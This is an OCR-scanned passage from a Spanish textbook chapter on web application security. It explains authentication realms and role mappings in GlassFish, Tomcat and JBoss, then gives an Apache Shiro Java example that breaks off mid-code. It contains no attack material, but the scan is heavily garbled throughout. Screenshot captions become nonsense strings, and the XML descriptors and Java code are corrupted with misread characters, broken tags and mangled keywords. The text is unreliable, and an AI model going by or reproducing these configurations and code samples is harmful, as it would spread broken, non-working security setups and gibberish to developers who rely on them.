Domain: domand Server:

s Edit Realm
bl | JND Ed g e Ty GEEnenticaton) realm
[ JavaMaE Sessinns
i FeEsouton Adaplar Sonfigs
* @ Configuzhans
* B cetauR-contiy
= |§i server-config

Configuration Hame; serer-config

& Aomin Senioa Realm Name: fil
& Conneclar Senvice Class Nafe: com sun antenpnsa secunty auth realm Ak FileRaakn
a EJH Contaner
v : E‘;E‘;‘ Properties specific o this Slass
* pr Jave Message Sevice JAAS Context * marcaim
i &
E? Logger Seftings I P 1 kogen mndiile 1o use For B il
I Montcring Key File:®  [§jcam con ase isancefiodt) canfaiay i
= '. Ngrmcgnrg Full path ared name of the: file whers the senver wil shore all s group, and password
= & ORB Assign Groups:
L g SeCufily e Comma-saparadad ksl of group names
T Ei aderin racin Addiional Properties {0)

& canlficala
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GlassFish™ Server Open Source Edition

i e e ﬂﬂnwdmnlmnhlplmd.
* [ WA
[ Javablsi Semsions Edit File Realm User
‘.'. FResource Adapler {:unhg: Modrhy corching usar pooowurés her fha curmantly sekocted sacuihy roalm
v 'ﬁ Canfguration
. 'J" datat-canha Configuration Name: sarsar-coniig
v [ nervercondip
A
iy el s Hoaim Mame: e
& Conrachor Servce
4 EJE Conlair Ulgar ID: admin
* @ HTTF Sorvicn Group List Usars
& VM Sctfings Sapanshs malinhe Foips wih calan
* gt diva Messege Service Rew Pasawnnd: -
I Logger Sedngs Confirm Mew Passwort:  sesss
B8 Monilanng
- ._ Metwark Config
* B ORB
v 5 Sacurity
* 5 Reakms
il admin.resm
certilaln

Figura 4.21. Pantalla de configuracion de GlassFish

Ademis, en el fichero glassfish-web.xml hay gue afiadir que para el rol de
admin asignarle el grupo Users

General Seels | Senrfy  WabSandss  Mammgng  Emvroment HML Hiory | admn
Seecuriny Fode Mappings
lio — admin
Sanurky Role Hare : a0
1o this Fude
Frincipal Mama Class Mama 1 Add Frindpal.. I

Eti Frincipal.. I
Bt Prirct el =] I

Figura 4.22. Gestion de roles y grupos con netheans

De esta forma cada vez que vavamos a entrar a http:/Aocalhost: 10973/
WebApplication/protected/index _protected jsp, automaticamente el servidor
tratard de verificar gue Henen una sesion activa. 8 no la tiene lo redirigira
a la pagina de login, el cual le pedira los datos de usuario v password, si
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los da erroneos lo mandara directamente a errovjsp, si los da correcto les
permitirg entrar,

Login

Usar: [admin

Pasgword: (sssss

Liin I

Figura 4.23. Pantalla de login

Si la autenticacidn no es correcta mostrard la pagina de error:

hitp:Mocalhast: 10973/ WebApplication/protected]_security_check

Si la autenticacidn es correcta mostrara la pigina protected:

ndex probected

e i B
\éﬁ] | ﬁ B locabost; 1087 ebAppicationyprotectedindex_protecied 5p

B} Mis visados 1 Comenzar a usar Feel..

Welcoms page profected

Figura 4.24. Ejecucion WebApplication

45.2 Autenticacion en Tomcat: realms

El servidor Tomeat define un modelo de seguridad basado en roles. Bajo este
modelo un usuario siempre estard asignado al menos a un rol v los permisos se le
otorgardn al rol en lugar de al usuario. Esto da fAexibilidad al modelo porque podemos
tener muchos usuarios desempefiando el mismo rol, como también es posible que un
usuario desempefe varios roles, teniendo como permisos la suma de todos los roles.

Tomeat basa su seguridad en el concepto de Realm. Un Realm es como una
base de datos de usuarios v passwords, unida a los roles que pueden desempeiar
dichos usuarios. Mediante este concepto, Tomeat nos permite utilizar diferentes
mecanismos o backends de autenticacidn como, por ejemplo, JDBC, para mantener
nuestros usuarios en una base de datos. Unos de los Realms que se pueden utilizar que
viene configurado por defecto es el de JAASRealm. Dicho Realm nos proporciona
una interfaz para que Tomcat utilice los diferentes LoginModules, bien ya existentes,
0 CcOmo en este caso, uno construido a medida.
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Tomeat incluye por defecto, dentro de sus ejemplos, una aplicacidon que
muestra como utilizar la autenticacion en el servidor web, utihizando un formulario
para solicitar las credenciales.

Una vez instalado Tomeat v los efemplos. simplemente apuntaremos el
navegador a http:/localhost: 808V examples/fsp/security/protected

BB | £ [ [ nhipunocalhost:B080/examplesjspisecurity/protected! [
|| Login Page for Examples & |

Username: |

Password: |

Log In Reset

Figura 4.25. Ejecucion en tomcat del ejemplo de login

Los realms se definen en el fichero de configuracion server.xml introduciendo
el elemento Realm con un atributo classMame que indique la implementacidn que
deseamos utilizar. El resto de propiedades dependen de la implementacién en
concreto. Podemos definir realms en distintos puntos del fichero, de manera gue
afecten a todo el servidor, a un host o solo a una aplicacion.

Para configurar nuestro Realm, lo primero que deberemos hacer es indicarle
a Tomeat qué Realm queremos utilizar en lugar del que estd configurado por defecto.
Esta configuracion se encuentra en el fichero server.xml. El tag Realm puede ser
especificado en diferentes sitios en funcidn del alcance que tenga nuestro sistema
de autenticacion, en nuestro caso, lo afadimos dentro del tag Context de nuestra
aplicacion. En el fichero web.xml podemos ver la configuracion:

isecurity-constraint:

<display-namexExample Security Constrainte<sdisplay-name>

«web-resource-collection>
<web-resource-name:Protected Aread/web-resource-names
¢!-- Define the context-relative URL{s) toc be protected --:
<url-pattern:/jsp/security/protected/*<furl-pattern>
¢l-- If you list http methods, only those methods are protected --»
<http-method>DELETE</http-methods
<http-method>GET</http-methods
<http-method:PO5T</http-methods
<http-method>PUT</http-methods»

< /web-resource-collections
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<auth-constraint>
¢l-- Anyone with one of the listed roles may access this area --»
<role-name>tomcat«</role-namex
zrole-nameszrolels/role-names>
«fauth-constraints>
</security-constraint>
£1-- Default login configuration uses form-based authentication --3
<login-configs
cauth-method>FORM: fauth-method>
<realm-name»Example Form-Based Authentication Area</realm-name>
<«form-login-config>
<Fform-login-pages/jsp/security/protected/login.jsp«</form-login-page>
<form-error-page*/jspfsecurity/protected/error. jsp</form-error-page»
<fForm-login-config>
<f/login-config»
£1-- Security roles referenced by this web application --3
csecurity-role»
<role-namerrolel</role-name>
<fsecurity-rmoles
<security-rolex»
<role-names>tomcats/role-names

</security-roles

Esta definicidon indica que todas aquellas paginas que se encuentren por
debajo de fjsp/security/protected deberdin ser protegidas para cualquiera de los
métodos especificados en la lista. Ademds, incluimos qué Roles tendrdn acceso a
esas paginas, negando ¢l acceso a cualquier usuario que no disponga de ese Rol.

5i nos logeamos con uno de los wusuarios definidos en el fichero tomcat-
usersxml, podemos ver la pdgina indicando gue nos hemos logneado
correctamente con el sexion id. http:/Aocalhost: 8080 examples/isp/security/
protected/index jsp?role =tomcat
You are logged in as remote user tomeat m session 6EB2210TF4SEET45738TRFS9ET0505AD
Your user principal name 5 tomeat

You have been granted role tomeat

To check whether your vsemame has been granted a particular role. cnter it here:
[tomcat !

Figura 4.26. Ejecucion en tomecat del gjemplo de login
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En la pigina jsp que muestra esta informacion se puede ver como obtiene los
valores de los objetos implicitos request, sesidn.

Los dominios de seguridad(realms)
A grandes rasgos Tomcal implementa 2 tipos de dominios de seguridad:

¥ Basado en el archivo tomcat-users.xml
¥ Basado en alguna fuente JDBC

En ambos casos, la configuracion del mecanismo de seguridad se realiza en
el web.xml de la aplicacion Web. La diferencia estd en el origen de donde se oblienen
los usuarios, contrasefias v roles. En el primer caso, los usuarios autorizados para
ingresar a nuestra aplicacion se guardarin en el archivo TOMCAT_PATH/conf/
tomeat-users.xml. Y en el segundo caso, serdn obtenidos de una base de datos. El
fichero tiene un formato similar al siguiente:




@ R-MA Capitulo 4. SEGURIDAD EN APLICACIONES WEB 202

<role rolename="tomcat™/ >

<user password="tomcat™
roles="manager-gui,manager-script,admin,tomcat™
username="tomcat"”/>

<ftomcat-users:

Es la implementacidn que utiliza por defecto la distribucion de Tomeat, y
como s¢ ha comentado, toma los datos de un fichero. Este fichero se lee cuando
arranca ¢l servidor, de modo que cualquier cambio en el mismo requiere el rearranque
de Tomeat para tener efecto. La definicion del realm en el fichero de configuracion se
realiza en el fichero TOMCAT _PATH/conf/server.xml:

tRealm classMame="org.apache.catalina.realm.UserDatabasefealn” debug="@"

resourcelame="UserDatabase" />

Donde el atributo resourceName determina el recurso del que se obtiene la
informacidn. Este estd definido dentro de GlobalNamingResourees para que apunte
al fichero conf/tomecat-users.xml.

JDBCRealm

Esta implementacion almacena los datos de los usuarios en una base de datos
con JDBC, lo cual es mucho mas flexible y escalable que el mecanismo anterior y
ademds no requiere el rearrangue de Tomeat cada vez que se cambia algin dato. Para
configurar Tomceat con esta implementacion de realm se puede descomentar uno que
va viene definido en el server.xml, a nivel global dentro del elemento Engine. Los
atributos de este realm indican cémo efectuar la conexion JDBC y cudles son los
campos de la base de datos que contienen fogins, passwords y roles.

Atributo Descripeidn

className Clase Java que implementa este realm

connection™Name Nombre de usuano para la conexion JDBC

connectionFassword  Posyword para la conexion JDBC

connectionUVRL URL de la base de datos

debug Nivel de depuraciim

driverMName Clase java gue implementa el driver la base de datos
rodeNameCol Nombre del campo que almacena los roles

userNameCol Mombre del campo que almacena los usuarios

wserCredCol Nombre del campo que almacena los poesswords

userRoleTable MNombre de la tabla que almacena la relacion entre usuarios y roles

userTable MNombre de la tabla que almacena la relacion entre fogin v paeoword
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Un gjemplo de etiqueta con este tipo de Realm (fichero confiserver.xml) seria:

tRealm classMame="org.apache.catalina.realm.JDECARealn"”
driverName="com.mysql. jdbc.Driver"

connectionURL="jdbc:mysql: //localhost/authority™
connectionMame="test” connectionPassword="test"

userTable="users” userMameCol="user_name"” userCredCol="user_pass"
userRoleTable="user_roles” roleMNameCol="role_name™ /3>

45.3 Seguridad en JBoss

La seguridad en JBoss se implementa de forma declarativa a través de una
serie de ficheros de configuracion. De la misma forma que hemos vislo en otros
servidores de aplicaciones como tomeat o glasslish, el objetivo es definir una serie
de dominios de seguridad ( Security Domains).

51 tenemos instalado jBoss en nuestra maquina local, podemos acceder a la
consola de administracion que por defecto la podemos encontrar en la ruta:

http:iMocalhost: 9990 console/App_him!
Heaa Deplogments erfguramn Runtme= A i pastrarian

= o

Fed Har |[Boss Enterprise Application Platiarm SO binls el

Quickly navigais to arry scroar by o reg tha limdcy. badorw, or intate a screen weng Cararal Resosroas

e and Manags Seftfings
i
& Tia ng Sopbeyrvant 1 amehi ¥
Trources mainle o
An ST L, relrieE o L) farnaton s
F apura i
o m g tasks =3 L5 s il £ o Wi 0
wtiiad iy I
szt
N Tasks 1z
Deploy an apploation Create a daiasoEnce
Oparmticnal Bexaurces
T sepley an spplicaton Aricl 8 sew AwtassUTE NS tolian the shee. in theCreshs
AT O e
teid @ i ploEm et
1 Enshis the new cesiopmant -
A&usign wser rokes
Apply a patch
A5 F DS e Mkt | s Of ek BF DU 10 SRR

T T

Figura 4.27. Fantalla de inicio de la consola de administracion de JBoss
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La parte relativa a la seguridad la podemos encontrar en la pestafia
Configuration=5ecurity.

Los dominios de seguridad son configuraciones de autenticacion,
autorizacion, mapeo de seguridad v auditoria propias del servidor de aplicaciones
¢ implementan la especificacion JAAS (Java Authentication and Authorization
Service) de seguridad declarativa.

Otro concepto importante es el de security realms que internamente son
bases de datos que almacenan los usuarios, passwords v roles de las interfaces de
administracion del servidor tanto desde ¢l exterior como internamente en el propio
servidor. Son componentes sobre los que se sustentan los security domain,

Los dos realms que tenemos por defecto en JBOSS son ManagementRealm y
ApplicationRealm. ManagementRealm se utiliza para la aplicacion de administracion
del servidor, por lo que solo nos permite controlar la awtenticacidén (no se indican
roles porgue el tnico rol que tienen los usuarios de este conjunto es el de administrar
el servidor). Por otro lado, ApplicationRealm nos permite ademds controlar la
autorizacion, mediante la asignacion de roles a usuarios.

F ManagementRealm: que sirve para securizar el acceso a las herramientas
de administraciom {Autenticacion)

F ApplicationRealm: que se utiliza para controlar el acceso a las
aplicaciones desplegadas (Autenticacidn y Autorizacidon).

La configuracion del Realm de administracion que trae por defecto es la
siguiente:

¢security-reals name="ManagementRealm">
cauthentications
«local default-user="$local” skip-group-loading="true®/>
cproperties path="mgmt-users.properties” relative-to=
"iboss.server.config.dir® />
¢fauthentications
cauthorization map-groups-to-roles="false">»
cproperties path="mgmt-groups.properties” relative-to=
"iboss.server.config.dir® />
¢fauthorizations

¢fsecurity-realms>

ManagementRealm distingue entre accesos desde la miaguina local y
accesos remotos. Para los primeros no se requiere password, por lo que la herramienta
ejecutada en local se conecta directamente. En el caso de utilizar la herramienta
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contra una instancia remota o acceder a través de la consola web, si que se nos pedird
usuarie/password. Los ficheros indicados mgmt-users.properties y mgmt-groups.
properties contendrin los usuarios y grupos a los que pertenecen.

El Realm de aplicaciones tiene una configuracion muy parecida:

También admite un usuario local de tipo invitado S$local v codifica la
informacion de usuarios en ficheros locales. En este caso si estd habilitado el mapeo
entre usuarios v roles y se define un fichero especifico para ello.

Los Security Realm se pueden utilizar tanto en conexiones provenientes
del exterior como en conexiones internas. El ejemplo tipico de esto dltimo es el
subsisterna Remoting utilizado para acceder al contenedor de EJB’s, que por defecto
estd vinculado al Realm de aplicaciones:

Los Security Domain definen las politicas de autenticacion y autorizacion
del servidor de aplicaciones. Un security domain configura uno o varios login modules
que implementan estas politicas. La configuracion por defecto es la siguiente:
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¢login-module code="RealmDirect” flag=""reguired”:
<module-option name="password-stacking®
value="usefFirstPass™/>»
<flogin-modula>
<fauthentication>
¢fsecurity-domains
¢security-domain name="jboss-web-policy” cache-type="default”s
cauthorization»
¢policy-module code="Delegating” flag=""reguired”/>
<fauthorization:
¢fsecurity-domains
¢security-domain name="jboss-ejb-policy” cache-type="default®s
cauthorizations
¢policy-module code="Delegating” flag=""reguired”/>
<fauthorizations
¢fsecurity-domain:
</security-domains>»

<fsubsystems
T Deployments l:-:nfgurm.h:-n Rumiime Achminiskratir
i beastams SECURTY SRS
¥ Carnuon
*  Cars P berarad Sl TRy 0 el Dhaas s Sobert & ormi2in i el it Thid 00 Pl i
& S— A Remove
= st
s Dpitan
Secuiy b
o - - 2 BTy ®
S iwny Mamsineg
! eb-po >
»
*
3l 3

Figura 4.28. Dominios de seguridad por defecto en 1Boss

Ademis del Dominio other tenemos los dominios jboss-ejb-policy v jboss-
web-policy que componen los modulos de autorizacién predefinidos, pero el security
domain que nos interesa es el denominado other.

Other es el security domain por defecto en la instalacién, preparado para
trabajar con ¢l Application Realm v en él podemos identificar dos login modules
distintos:

F Remoting: Utilizado internamente cuando las peticiones de autenticacion
se reciben a través del protocolo Remoting.
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¥ RealmDirect: Utilizado en el resto de peticiones (por gjemplo, al acceder
a una aplicacion Web). Este modulo tiene la particularidad delegar en un
Realm la tarea de autenticacidn, que por defecio serd el ApplicationRealm.
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Figura 4.29. Configuracion dominios de segurdad en 1Boss
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Figura 4.30. Tipos de Login modules

Por defecto, los login modules se ejecutardn en el orden en el que se havan
definido. Adicionalmente existe un parimetro denominado flag en cada login module,
que nos permitira definir como tratar cada resultado parcial.

Puede tener los siguientes valores:
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Required: El usuario debe wvalidarse con éxito necesariamente.
Independientemente del resultado intentard validarse con el resto de
login modules.

Requisite: El usuario debe validarse con éxito necesariamente. Una vez
validado, intentard validarse con el resto de fogin modules. Las siguientes
validaciones podrdn dar error, pero el uwsuvario seguird autenticado
(excepto si tienen el atributo de requerido). Si falla la validacidn, termina
el proceso de autenticacion.

Sufficient: El usuario intentara validarse, si falla lo intentard con el resto
de fogin modules, pero si es autenticado, la validacion termina en ese
punto.

Optional: El usuario intentard validarse, aunque no necesariamente tiene
porqué tener ¢xito, Si todos los fogin modules estan configurados como
optional, necesariamente tendrd que validarse con al menos uno de ellos.

El mbdulo RealmDirect tiene una Gnica opcidn, el password-stacking que
debe ser utilizado con el valor useFirstPass si se utilizan varios login modules.

& Koy

Activacion

En

cdule Options
Add | | Remove

Walus

passnord-stacking wseFirstP s

Figura 4.31. Madulo RealmDirect en 1Boss

de la auditoria de seguridad en Jboss

la fase de construccion resulta muy Gtil habilitar la anditoria de seguridad

antes de comenzar a trabajar con seguridad declarativa. El log normal no suele
proporcionar informacion significativa cuando intentamos acceder a una aplicacion

securizada.

Para activar el log afadir la siguiente informacion al subsistema de

logging. Con este cambio, crearemos un nuevo fichero de log, denominado audit.
log en la carpeta de logs del servidor con toda la informacidn de la negociacion de
la seguridad declarativa,
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Por altimo, comentar el control de autorizacion ¢n tareas administrativas.
Hasta ahora en JBoss cualquier usuario con acceso al ManagementRealm se
consideraba super usuario y podia realizar cualquier tarea de administracion. Desde
las dltimas versiones es posible establecer un control mas precise de lo que un
usuario puede hacer y lo que no, habilitando el control RBAC:

En las secciones usuarios y grupos es posible dar de alta nuevos usuarios y
Erupos.
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Configuration

fdd Ammraie

Figura 4.32. Configuracion usuarios-mles en el mend de Administration

En la seccidn de roles se muestra un dnico rol (superusuario), pero tras
habilitar el mecanismo de roles tenemos a disposicion nuestra los siguientes roles:

Rol Permisos

Monitor El mas restrictive. Solo permisos de consulta de la informacion en tiempo
de ejecucion. No permite la consulta de recursos, datos o informacion de
log.

Operator Mismos permisos de Monitor ¥ ademds puede parar/arrancar instancias,

activar/desactivar colas IMS y liberar conexiones de base de datos.

Maintainer Mismos permisos del Operator y ademds puede modificar la configuracitn:
desplegar nuevas aplicaciones y recursos.

Deployer Mismos permmisos de Maintainer pero restringidos al despliegue de
aplicaciones.

Administrator Mismos permisos de Maintainer pero ademds permite ver y modificar datos
sensibles tales como sistermas de seguridad. No tiene acceso al sistema de
auditoria de administracion (audit loggin system).

Auditor Mismos permisos del monitor mis la posibilidad de poder consultar/
modificar el audit logging system).

Super User Tiene todos los permisos, y es el equivalente al usuario administrador de
VErsiones anteriores,
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. Mambens |
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Figura 4.33. Configuracion de mles en el mend de Administration

La administracion de la asignacion de roles a usuarios w/o grupos estd
integrada en la consola Web, en contraposicion al alta de usuarios, que se sigue
haciendo por script. En el caso de querer asociar un grupo de usuarios (mgmit-groups,
properties) a un rol de administracidn, se afiadiria de la siguiente forma:

<role name="Deployer™s
¢includes

cgroup alias="group-lead-devs"” name="lead-developers”/»
¢fincludes

<froles

454 Seguridad en GlassFish

La configuracion de seguridad en Glassfish gira alrededor de una serie de
elementos basicos entre los que podemos destacar:

¥ Usuparios: normalmente personas, aunque también pueden ser servicios
0 componentes sofiware.
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¥ Grupos: asociacion de usuarios para que lengan un comportamiento
similar. Los usuarios y grupos s¢ definen a nivel de dominio, es decir,
pueden compartirse entre varias aplicaciones.

¥ Roles: E| rol autoriza al que lo posea a realizar distintas tareas en una
aplicacion, Podriamos decir que es similar a un grupo de usuarios, pero
propio de una aplicacion concreta (se define en su web.xml). Distintos
usuarios pueden tener el mismo rol ¥ un usuario puede tener distinios
roles.

F Realms: asociacidon entre usuarios vy grupos v roles. Un realm es un
dominio de seguridad v puede ser parte del servidor (mediante ficheros
o certificados) o manejado por aplicaciones externas (como LDAP).

En Glassfish, al igual que en Tomeal, la seguridad de las aplicaciones gira en
torno a la idea de realms. Vamos a ver como se definen estos realms v qué tipos de
realm soporta el servidor por defecto.

Los realms se pueden definir v configurar mediante la consola de
administracion. En el drbol desplegable de la izquierda elegir Configuration =
Security > Realms.

GlassFish™ Server Open Source Edition

Realms

Ciepbe mgdty. ar delals seCurily (autheadoation) nasaims
&y M Sattings

L | Java Message Seivce
{§ Loager Sctings Reealims |3)

Configuration Name: wensar-onig

i@ Montaiing
> f) Watwork Sanfig Salict | Mama w | Cliks Nams
& :H: ™ admincealn GO SN BNIEFTISE SECiinty & 0 realm fie FjaFesm
'W [ coilicats Cam Sun anlorise security stk malm cotificats CortiicatsRaakm
1] r e GO S0 #NIETpTiSE SECLily B0 Tl fie SjERaEm

i admr-resm
!i cerificale

ﬁi.le

Figura 4.34. Realms configuradoes por defecto en GlassFish

Por defecto hay tres realms definidos. El primero de ellos, admin-realm,
define los usuarios de la propia consola de administracion. Ademds de definirse en
este realm, un usuario autorizado para la consola debe pertenecer al grupo asadmin.
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Edit Realm [Save

Edil an exishing secunty {authenbication) realm

* Indicates required field

Configuration Name: sanvar-config

Realm Name: admin-realm

Class Name: com sun enterprise secunty auth realm fike FileRealm

Properties specific to this Class

JAAS Context: ¥ fileRealm

Identifier for the login module to use for this realm

Key File: * ${com sun aas instanceRooty/config/admin keyfile :
Full path and name of the file where the server will store all user,
group, and password information for this realm

Assign Groups:
Comma-separated list of group names

Additional Properties [0)

File Users Back

Manage user accounts for the curmmently selected securnty realm.

Configuration Name: server-config

Realm Name: admin-realm

Select UserID | Group List:

T anonymous asadmin

Figura 4.35. Gestion de usuarios y grupos
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El dominio file usa una implementacion que almacena los datos de usuarios y
grupos en un fichero de texto plano (aunque con password encriptado). Este dominio
es el que usardn por defecto las aplicaciones desplegadas salvo que especifiquemos
lo contrario.

Edit Realm | Save || Gancel

Edit an exsting securty (authenticaton ) realm

* Indicates requined field

Configuration Mame: server-canfig

Realm Name: file

Class Name: com sun.enterprise secunty auth realm file FileRealm

Properties specific to this Class

JAAS Context: * ‘fileReaim
Identifier for the login module to use for this realm

Key File: * $[com sun aas instanceR oot} confighkeyila
Full path and name of the file where the server will siore all user,
group, and password informateon for this realm

Assign Groups:

Comma-separated list of group names

Figura 4.36. Propiedades del File-Realm

El primer paso ¢s configurar las propiedades del realm file,

La primera de ellas es la clase que lo implementa, en este caso com.sun.
enterprise.security.auth.realm.file. FileRealm.

Como puede verse, s una clase propia de Glassfish. Esta clase se ocupa
de almacenar v gestionar los datos de usuarios vy grupos, usindose para esta
implementacion un archivo de texto. En las “propiedades especificas de esta clase™
s¢ puede seleccionar el nombre del archivo. Por defecto es el archivo config/kevfile
dentro del directorio donde se define el dominio.

El segundo paso es crear los usuarios dentro del realm mediante ¢l boton
de “Manage users”. Para cada usuario debemos definir login, password y grupo al
que pertenece. Los nombres de grupo son nombres arbitrarios, luego veremos cdimo
enlazarlos con los roles usados en nuestra aplicacion. Por ejemplo, supongamos gue
se define un usuario llamado “prueba”™, con password “prueba™ y pertencciente al
grupo “usuarios”.
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rNew File Realm User 0K || Cancel |

Create new user accounts for the cumently selected security realm.
* Indicates required field

Configuration Name: server-coniig

Realm Mame: File

UseriD: * [demo |
MName can be up to 255 characters, must confain enly letiers,
digits, underscore, dash, or dod characters

Group List: | usuarios |
Separale multipte groups with colon
New Password: sssune |

Confirm New Fassword: ,ysese |

Figura 4.37. Creacion de un nuevo realm basado en grupo de usuarios

Finalmente, nos queda eonfigurar la seguridad en la aplicacién web.
Ya vimos en el modulo de servidores web como se configuraba la seguridad en
el descriptor de despliegue de la aplicacion, el web.xml. Vamos a poner aqui un
fragmento de ejemplo, en el que solo permitimos el acceso a los usuarios que tengan
el rol “registered”.

web.xml
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<role-namerregistered</role-name:

<fsecurity-rolex

Mos falta asociar el rol “registered” con el grupo “usuarios”. Eslo se hace
a traveés de un descriptor de despliegue adicional WEB-INF/glassfish-web.xml,
especifico de Glassfish:

B @ WebApplicationl
E} 2l Web Pages
= E WEB-INF

-3 protected
@ index _protected.jsp

----- ] error.jsp

----- [€] index.htm

----- & login.jsp

#-d Source Packages

S

Ganeral Serviets Secunky Wieb Services Messaging Emaronment

Security Role Mappings
m = admin
5 = registered
Sacurity Rola Name 2 [registered
Principals ﬂan_:pedm this Role
Principal Name | Class Mame | Add Fringipal. . |
Egit FiniGipet |
Remove Frincipeis) |
Groups o this Role
Group Hame
Edit Group... |
Remove Group(s) |

Figura 4.38. Editar sepuridad vsuanos-roles desde netheans
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En el fichero glassfish-web.xml vemos como se crea una nueva eliquela
<security-role-mapping> donde se relaciona el rol “registered™ con el grupo
“usuarios’:

«?xml version="1.8" encoding="UTF-8"#>
«!DOCTYPE glassfish-web-app PUBLIC "-//GlassFish.org//DTD GlassFish Application
Server 3.1 Servlet 3.8//EN" "http://glassfish.org/dtds/glassfish-web-app_3_@8-
1.dtd™>
tglassfish-web-app error-url="":
<context-root>/WebApplication</context-root>
<security-role-mapping»
<role-name>registered</role-name>
<Eroup-namerusuarios</group-name:
<fsecurity-role-mappings
<¢lass-loader delegate="true®™/>
cjsp-config:
<property name="keepgenerated” wvalue="true®:
<description>Keep a copy of the generated servlet class' java
code. < /descriptions
</property:
</jsp-config:>
<fglassfish-web-app>

El dominio certificate emplea certificados para autenticar al cliente.

Edit Realm -Save | | Cancal |

Edit an axisting secunly (authentcation) realm

* Indicates required field

Configuration Name: server-config

Realm Mame: cerificate
Class Name: comosunanterprss security auth realm certificate Cerificate Reaim

Properties specific to this Class

Assign Groups:

Comma-separated list of group names

Additional Properties (0}
Dajsto Propertes

Select Mame Value Description
Mo items found
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Para usar este realm en el descriptor de despliegue web.xml habra que
realizar algunos cambios.

¥ El primero es la forma de hacer login, especificada en la etiqueta <login-
config/>. En este caso no se usa password, por lo que no tienen sentido
la autenticacion FORM ni BASIC. Se usa un valor especial que es
CLIENT-CERT

¥ La autenticacidon mediante certificados deberia venir asociada a una
comunicacion segura, por lo que activaremos el uso de SSL mediante
la etigqueta <user-data-constraint’> con <transport-guaranice/> a
CONFIDENTIAL.

El fichero web.xml guedaria de la forma:

En el fichero glassfish-web.xml habrd que afadir el principal name
correspondiente al nombre del ttular del certificado que vayamos a usar.
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[ otart Page iTmMm.-[ﬂ: glassfiah-veeh el # |

General Sendets Sacurty Wieb Senaces M255aging Enwironment XML
Security Role Mappings
= ~7 admin

= - registerad

Security Fola Mame ; [ag/stered

Prirapals Assignad to this Aol

([ Add Principal... |

Edit Frncipal... |
Remove Principals) |

Group Nama Add Croug... |
Edit Group... |
Ramove Croup(s} |

Groups Assigned bo this Role

Figura 4.39. Editar seguridad usuarios-grupos desde netheans

«?xml version="1.8" encoding="UTF-8"7>
«!DOCTYPE glassfish-web-app PUBLIC “-//GlassFish.org//DTD GlassFish Application
Server 3.1 Servlet 3.8//EN" "http://glassfish.orgfdtds/glasshish-web-app_3_8-
1.dtd™>
tglassfish-web-app error-url=""x
<context-root»/WebApplication</context-root:>
<security-role-mappings>
<role-name:registered</role-name:
cprincipal-name>CN=demo, OU=demo, O=demo, L=demo, 5T=demo,
=es</principal-names:
<group-name:usuarios</group-name:
</fsecurity-role-mapping:
¢class-loader delegate="true®/:
<jsp-config:
cproperty name="keepgenerated"” walue="true®:
cdescription»keep a copy of the generated servlet class' java
code. < /descriptions
c/property>»
</jsp-conhg:
<fglassfish-web-app>

El*principal-name” debe ser el “nombre completo™ del titular del certificado.
Si no lo recordamos, puede obtenerse mediante keyvtool, Por ¢jemplo, si lenemos
exportado el certificado en un fichero “certificado.cer”, con ¢l comando kevtool se
podria obtener esta informacidn.
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keytool -printcert -file certificado. cer

Podemos ver todos los datos del certificado. Para el principal-name nos
interesa la linea que aparece como “Emisor” (“Owner™ en la version en inglés de
keytool).

Figura 4.40. Captura de pantalla. Ejecucion keytool

4.5.5 Seguridad con Apache Shiro

Apache Shiro es un framework de seguridad que ofrece a los desarrolladores
una solucion en formato de APl para gestionar autenticacion, autorizacibn y gestion
de la sesion para los usuarios que quicran logearse en nuestras aplicaciones.

El pagquete sobre ¢l cudl trabaja es import org.apache.shiro.®

La forma mas ficil de crear un SecurityManager ¢s obtener una instancia a
partir de la configuracion gue se encuentra ¢l fichero shiro.ini:

Factory<SecurityManager» factory = new
InisecurityManagerFactory({“classpath:shiro.ini"};

SecurityManager securityManager = factory.getInstance();

Lo primero que hay que hacer es obtener el usuario mediante al llamada
al método getSubject() de la clase Securitylils Esta clase tiene la capacidad de
obtener el entormo en el cudl se estd gjecutando(servidor,aplicacion web) y obtener
el usuario que estd realizando la peticion.

En casi todos los entornos, se puede obtener el usuario que se estd ejecutando
a través de la siguiente llamada:

Subject currentUser = SecurityUtils.getSubject(};
Con el método getSession() es posible obtener la sesion actual del usuario:

Session session = currentUser.getSession();
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El siguiente paso seria autenticar el usuario actual contra la configuracion de
Apache Shiro.Para ello comprobamos si el usuario se ha autenticado.

En el caso de que no esté autenticado, llamamos al método de login pasdndole
el token que se obtiene a partir de la informacion de fogin v password.

Podemos usar el fichero de configuracion shiro.ini para definir los usuarios
y roles,

En este caso cuando declaramos un usuario le especificamos la password
y el rol asociados dentro de [users]. En [roles] definidos los roles v los permisos
asociados a cada rol.

Podemos definir que para un rol tener todos los permisos con el *,0 también
podemos definir a qué recursos puede acceder un determinado rol.

shiro.ini
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Ua vez el usuario se ha autenticado correctamente podemos acceder a la
informacion relativa al principal v nombre de usuario.

También podemos comprobar para ver si el usuario tiene un rol determinado:

También podemos ver si tienen un permiso para actuar en un determinado
tipo de entidad:

Por dltimo, podemos cerrar la sesion del usuario lamando al método
logout().

En el siguiente ejemplo se muestra el cddigo completo de la clase y la
¢jecucion de la misma.
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import org.slfdj.LoggerFactory;

public class DemofpacheShiro {

private static final transient Logger log =
LoggerFactory.getlogger{DemohpacheShiro.class);

public static woid main{5tring[] args) {

ff The easiest way to create a Shiro SecurityManager with configured

ff realms, wsers, roles and permissions is to use the shiro INI config.
Factory<SecurityManager> factory = new
InisecurityManagerFactory({“classpath:shiro.ini®};

SecurityManager securityManager = factory.getInstance();
SecurityUtils.setSecurityManager(securityManager);

ff get the currently executing user

Subject currentlUser = SecurityUtils.getSubject();

Session session = currentUser.getSession();

session.setAttribute (“demo”, “shiro_user®);

String walue = (5tring) session.getAttribute{™demo™};

if (value.eguals{Tshiro_user*}) {

log.info{™Retrieved the correct wvalue! [ + walue % "]");

1

ff let®s login the current user so we cam check against roles and permissions:
if {(lcurrentUser.ishuthenticated{}}) {

UsernameFasswordToken token = new UsernamePasswordToken("shiro_user®™,
“shiro_password®);

token.setRememberMe(true);

try

currentUser.login{token);

} catch (UnknownAccountException wae) {

log.info{™There is no user with wusername of ™ + token.getPrincipal());

} catch {IncorrectCredentialsException ice) {

log.info{™Password for account ™ + token.getPrincipal{) + ™ was incorrect!™);
} catch {LockedAccountException lae) {

log.info{™The account for username * + token.getPrincipal() + ™ is locked. ™ +
“Please comtact your admimistrator to unlock it.");

}

ff... catch more exceptions here (maybe custom ones specific to yourapplication?
catch [AuthenticationException ae) {

log.info{™AuthenticationException [* # ae.getMessage() + “1™);

1

}

ffprint their identifying principal (in this case, a username):

log.info{™User [™ + currentUser.getPrincipal{) + “] logged in successfully.™);
fltest a role

if (currentUser.hasRole{"shiro_role*)} {

